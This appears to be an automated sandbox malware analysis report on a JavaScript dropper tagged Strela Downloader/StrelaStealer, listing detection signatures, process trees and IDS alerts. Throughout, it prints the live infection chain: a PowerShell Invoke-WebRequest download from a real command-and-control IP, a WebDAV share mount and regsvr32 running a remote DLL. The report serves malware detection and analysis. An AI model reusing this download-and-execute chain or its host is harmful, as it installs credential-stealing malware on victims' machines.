Edit tour

Windows Analysis Report
2878822876987216987.js

Overview

General Information

Sample name:	2878822876987216987.js
Analysis ID:	1589039
MD5:	43aaf813331028def8641e5e6de4da83
SHA1:	2cc0f435972290ca80d13713834503f74b76fb25
SHA256:	bcd6747853a05ca43947f9b5300748ad17cf4321d96deb6ecda953534597ddaa
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2260 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2992 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5476 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1540,i,1322483727727020141,7524564797198938303,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3552 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1532 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2260	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ProcessId: 2260, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1532, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ProcessId: 2260, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1532, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1628, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1532, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll, ProcessId: 2992, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:55.939238+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:58.747097+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:44:55.939238+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2878822876987216987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2878822876987216987.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
